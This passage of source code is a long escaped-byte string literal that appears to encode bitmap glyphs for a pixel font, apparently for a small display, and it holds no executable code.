\"\\237\\17\\0\\0\\0>\\177\\377\\373\\340\\300\\300\\300\\300\\341\\377\\377\\177\\36\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\340\\340\\360pppp\\340\\340\\300\\200\\0\\0\\0\\37\\177\\377\\373\\340\\300\\300\\300\\300\\340\\367\"\n  \"\\377\\377\\374\\0\\0@\\340\\360\\340\\301\\301\\301\\301\\341\\360\\177\\177\\37\\7\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70|||\\70\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70|||\\70\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\61;\\37\\17\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\340`\\360\\360\\370\\370\\234\\234\\16\\16\\17\\7\\7\"\n  \"\\3\\3\\1\\1\\0\\0\\1\\1\\3\\3\\7\\7\\17\\16\\34<\\70xp\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\16\\16\\16\\16\\16\\16\\16\\16\\16\\16\\16\"\n  \"\\16\\16\\16\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\7\\17\\16\\36\\234\\274\\370\"\n  \"\\370\\360\\360`px\\70<\\34\\36\\16\\17\\7\\3\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0 p\\370x<\\34\\34\\34\\34<\\370\\370\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\360x\\77\"\n  \"\\37\\17\\7\\0\\0\\0\\0\\0\\0\\0\\340\\361\\361\\361\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360pppp\\360\\340\\300\\200\\0\\374\\377\\377\\237\\3\\360\\370\\374\\376\\36\\16\\16\"\n  \"\\357\\377\\377\\377\\3\\37\\77\\177\\370\\360\\343\\303\\307\\307\\307\\307\\343\\347\\7\\7\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\37\\7\\37\\177\\374\\360\"\n  \"\\200\\0\\0\\0\\300\\370\\377\\77\\7\\7\\7\\7\\7\\7\\7\\37\\177\\376\\360\\300\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\1\\1\\0\\360\\360\\360ppppppp\\360\\340\\340\\300\\0\\0\\377\\377\\377ppppppp\\370\"\n  \"\\377\\337\\217\\0\\0\\377\\377\\377\\300\\300\\300\\300\\300\\300\\300\\340\\377\\377\\177\\36\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360pppp\\360\\340\\300\\300\\0\\374\\377\\377\\377\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\3\\3\\1\\7\\37\\77\\177\\370\\360\\340\\300\\300\\300\\300\\340\\360\\360p \\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360pppppp\\360\\340\\300\\200\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\3\"\n  \"\\377\\377\\377\\374\\0\\377\\377\\377\\300\\300\\300\\300\\300\\340\\340\\370\\177\\77\\37\\3\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360ppppppppppp\\0\\0\\377\\377\\377pppppppp\"\n  \"pp\\0\\0\\0\\377\\377\\377\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\360\\360\\360ppppppppppp\\0\\0\\377\\377\\377ppppppp\"\n  \"pp\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340\\360pppp\\360\\340\\340\\300\\200\\370\\377\\377\\237\\3\\0\\0\\0\\0\\300\\300\\300\"\n  \"\\301\\303\\301\\300\\7\\37\\77\\177\\370\\340\\340\\300\\300\\301\\301\\301\\341\\377\\377\\177\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\20\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\20\\0\\377\\377\\377pppppppp\"\n  \"\\377\\377\\377\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0pppp\\360\\360\\360ppppp\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\377\\377\\377\\300\\300\\300\\300\\300\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0pppp\\360\\360\\360pppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0`\\360\\340\\300\\300\\300\\300\\340\\377\\377\\77\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\360\\360\\20\\0\\0\\0\\0\\200\\300\\340\\360\\360\\60\\20\\0\\377\\377\\377\\340p\\370\\374\\336\\217\\7\\3\\1\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\1\\7\\17\\77~\\370\\360\\340\\200\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\1\\1\\0\\360\\360\\360\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\360\\360\\360\\340\\200\\0\\0\\0\\0\\0\\0\\300\\360\\360\\360\\0\\377\\377\\377\\7\\37~\\370\\340\\360|\\37\\7\"\n  \"\\377\\377\\377\\0\\377\\377\\377\\0\\0\\0\\1\\3\\1\\0\\0\\0\\377\\377\\377\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\360\\360\\360\\360\\300\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\0\\377\\377\\377\\3\\17\\37|\\370\\340\\200\\0\"\n  \"\\0\\377\\377\\377\\0\\377\\377\\377\\0\\0\\0\\0\\1\\7\\17>\\374\\377\\377\\377\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\1\\1\\0\\0\\200\\300\\340\\340pppp\\360\\340\\340\\300\\200\\0\\374\\377\\377\\237\\1\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\3\\377\\377\\377\\7\\37\\77\\177\\370\\340\\300\\300\\300\\300\\340\\340\\370\\177\\77\\17\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360pppppp\\360\\360\\340\\300\\200\\0\\0\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\360\"\n  \"\\177\\177\\37\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340\\340pppp\\360\\340\\340\\300\\200\\0\\374\\377\\377\\337\\1\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\3\\377\\377\\376\\7\\37\\177\\377\\360\\340\\300\\300\\200\\300\\300\\340\\370\\177\\77\\17\\0\\0\\0\\0\\1\\1\\1\\17\\37\\77\\71\\71\"\n  \"\\70\\70\\70\\0\\0\\360\\360\\360pppppp\\360\\360\\340\\300\\200\\0\\0\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\360\"\n  \"\\177\\77\\37\\0\\0\\377\\377\\377\\0\\0\\0\\0\\1\\7\\37\\177\\374\\360\\300\\200\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\1\\1\\0\\200\\300\\340\\340\\360pppp\\360\\340\\340\\300\\200\\0\\0\\7\\37\\77=xpp\\340\\340\\340\\300\"\n  \"\\301\\201\\0\\0 p\\370\\340\\340\\300\\300\\300\\300\\300\\341\\361\\377\\177\\77\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0pppppp\\360\\360\\360ppppppp\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\20\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\377\\377\\377\\0\\37\\177\\377\\374\\340\\300\\300\\300\\300\\300\\340\\374\\177\\177\\37\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0p\\360\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\360p\\0\\1\\17\\177\\377\\370\\300\\0\\0\\200\\360\\376\"\n  \"\\177\\17\\3\\0\\0\\0\\0\\0\\3\\17\\177\\376\\374\\377\\37\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\360\\360\\0\\0\\0\\0\\300\\300\\200\\0\\0\\0\\300\\360\\360\\7\\377\\377\\374\\0\\340\\374\\177\\77\\377\\370\\300\"\n  \"\\300\\377\\377\\7\\0\\0\\77\\377\\377\\77\\7\\0\\0\\3\\37\\377\\377\\177\\1\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\1\\0\\0\\0\\20\\60\\360\\360\\340\\200\\0\\0\\0\\0\\200\\340\\360\\360\\60\\0\\0\\0\\0\\3\\17\\237\\376\\370\\370\\376\\237\\7\"\n  \"\\3\\0\\0\\0\\0\\300\\340\\370~\\77\\17\\3\\3\\17\\37~\\370\\360\\300\\0\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\1\\1p\\360\\360\\340\\200\\0\\0\\0\\0\\0\\0\\300\\360\\360p\\20\\0\\1\\3\\17\\77\\376\\370\\340\\360\\374\\177\\37\"\n  \"\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0pppppppppp\\360\\360\\360p\\0\\0\\0\\0\\0\\0\\200\\340\\360\\370~\\37\"\n  \"\\17\\3\\0\\0\\0\\300\\340\\370\\374\\377\\337\\307\\303\\300\\300\\300\\300\\300\\300\\300\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\1\\0\\0\\0\\374\\374\\374\\34\\34\\34\\34\\34\\34\\34\\34\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\16\\16\\16\\16\\16\\16\"\n  \"\\16\\16\\0\\0\\0\\60\\360\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\376\\370\\340\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\376\\370\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\"\n  \"\\7\\7\\6\\0\\0\\34\\34\\34\\34\\34\\34\\34\\34\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\16\\16\\16\\16\\16\\16\\16\\16\\17\\17\\17\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\20\\34>\\17\\3\\1\\1\\7\\17\\77\"\n  \"\\34\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\34\\34\\34\\34\\34\\34\\34\\34\\34\\34\\34\"\n  \"\\34\\34\\34\\34\\0\\0\\0\\0\\370\\360\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\77~\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\34\\34\\216\\216\\216\\216\\216\\236\"\n  \"\\374\\374\\370\\0\\0<\\376\\377\\377\\307\\303\\303\\303\\303\\343\\363\\377\\377\\377\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\374\\374\\374\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377x\\34\\16\\16\\16\\16\\36<\"\n  \"\\374\\370\\340\\0\\0\\377\\377\\377\\374\\340\\300\\300\\300\\300\\340\\360\\377\\177\\37\\0\\0\\1\\1\\1\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374<\\36\\16\\16\\16\\16\\36\"\n  \"\\34|\\70\\20\\0\\17\\77\\177\\376\\360\\340\\300\\300\\300\\300\\300\\340\\360`\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\4\\0\\300\\360\\370\\374\\36\\16\\16\\16\\16\\34<\\377\"\n  \"\\377\\377\\0\\0\\17\\77\\177\\376\\340\\300\\300\\300\\300\\340\\360\\377\\377\\377\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374\\234\\236\\216\\216\\216\\216\\236\"\n  \"\\374\\370\\360\\340\\0\\17\\77\\177\\377\\343\\343\\303\\303\\303\\303\\303\\343\\363c\\3\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370<\\34\\34\\34\\34<xx\\0\\34\\34\\34\\34\\377\\377\\377\\34\\34\\34\\34\"\n  \"\\34\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\370\\374\\16\\16\\6\\6\\16\\36\\374\\374\"\n  \"\\376\\16\\16\\16\\0q\\373\\377\\377\\316\\316\\316\\316\\317\\307\\307\\301\\200\\200\\0\\34\\77\\77;qqqqqqq\\71\"\n  \"\\77\\37\\37\\0\\0\\374\\374\\374\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377x\\34\\34\\16\\16\\16\\36\\376\"\n  \"\\374\\370\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\30<<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\16\\16\\16\\16\\376\\376\\376\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\377\\377\\377\\300\\300\\300\\300\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30<<\\30\\0\\0\\0\\0\\0\\0\\16\\16\\16\\16\\16\\16\\16\\376\\376\"\n  \"\\376\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\30<<xpppx\\77\\77\\37\"\n  \"\\7\\0\\0\\0\\0\\374\\374\\374\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\200\\300\\340\\360x<\\36\"\n  \"\\16\\6\\2\\0\\0\\377\\377\\377\\7\\3\\3\\7\\17\\37|\\370\\360\\340\\300\\200\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\1\\1\\0\\0\\34\\34\\34\\34\\34\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\377\\377\\377\\300\\300\\300\\300\\300\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376>\\16\\16\\376\\376\\374<\\16\\16\"\n  \"\\376\\376\\374\\0\\377\\377\\377\\0\\0\\0\\377\\377\\377\\0\\0\\0\\377\\377\\377\\0\\1\\1\\1\\0\\0\\0\\1\\1\\1\\0\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376x\\34\\34\\16\\16\\16\\36\\376\"\n  \"\\374\\370\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374<\\36\\16\\16\\16\\16\\36|\"\n  \"\\370\\370\\340\\0\\17\\77\\177\\376\\360\\340\\300\\300\\300\\300\\340\\360\\377\\177\\37\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376x\\34\\16\\16\\16\\16\\36>\"\n  \"\\374\\370\\360\\300\\0\\377\\377\\377|\\340\\300\\300\\300\\300\\340\\340\\375\\177\\77\\17\\0\\177\\177\\177\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\\374\\34\\36\\16\\16\\16\\16\\34\\374\"\n  \"\\376\\376\\376\\0\\17\\77\\177\\376\\360\\340\\300\\300\\300\\300\\340}\\377\\377\\377\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\370<\\34\\16\\16\\16\\16\"\n  \"\\36<\\34\\0\\0\\0\\377\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0p\\374\\374\\376\\216\\216\\216\\16\\36\\34\"\n  \"<\\70\\10\\0\\0`p\\360\\341\\301\\303\\303\\303\\303\\347\\377\\376~<\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\340\\360p\\0\\0\\0\\0\\0\\0\\0\\0\\16\\16\\16\\16\\377\\377\\377\\16\\16\\16\\16\"\n  \"\\16\\0\\0\\0\\0\\0\\0\\0\\0\\177\\377\\377\\340\\300\\300\\300\\340\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\376\\376\\376\\0\\0\\37\\177\\377\\374\\340\\300\\300\\300\\340\\340|\\377\\377\\377\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\36~\\376\\370\\300\\0\\0\\0\\0\\200\\340\"\n  \"\\376~\\36\\2\\0\\0\\0\\1\\17\\77\\377\\370\\360\\374\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\376\\376\\340\\0\\0\\300\\374\\374\\370\\300\\0\"\n  \"\\0\\376\\376\\376\\0\\3\\177\\377\\374\\374\\177\\7\\0\\17\\177\\376\\370\\377\\177\\1\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\16>|\\370\\360\\300\\300\\360\\370>\"\n  \"\\36\\16\\2\\0\\0\\200\\300\\360\\370|\\37\\17\\17\\37|\\370\\360\\300\\200\\0\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\36~\\376\\360\\300\\0\\0\\0\\0\\300\\370\"\n  \"\\376~\\16\\0\\0\\0\\0\\3\\17\\77\\376\\370\\360\\376\\77\\17\\1\\0\\0\\0\\70xppp|\\77\\37\\7\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\16\\16\\16\\16\\216\\316\\356\\376~\"\n  \">\\36\\16\\0\\0\\300\\340\\360\\370\\374\\336\\317\\307\\303\\301\\300\\300\\300\\300\\300\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\1\\0\\0\\0\\0\\0\\200\\300\\340\\360pppppp\\0\\0\\200\\200\\200\\300\\377\\377\\177\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\3\\3\\3\\7\\377\\376\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\77\\77~xpp\"\n  \"ppp\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\177\\177\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0ppppp\\360\\340\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\377\\377\\360\"\n  \"\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\376\\376\\37\\3\\3\\3\\0\\0\\0pppppx\\177\\77\\37\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\34\\34\\36\\16\\16\\16\\36\\34<\\70\\70\"\n  \"\\70\\34\\36\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  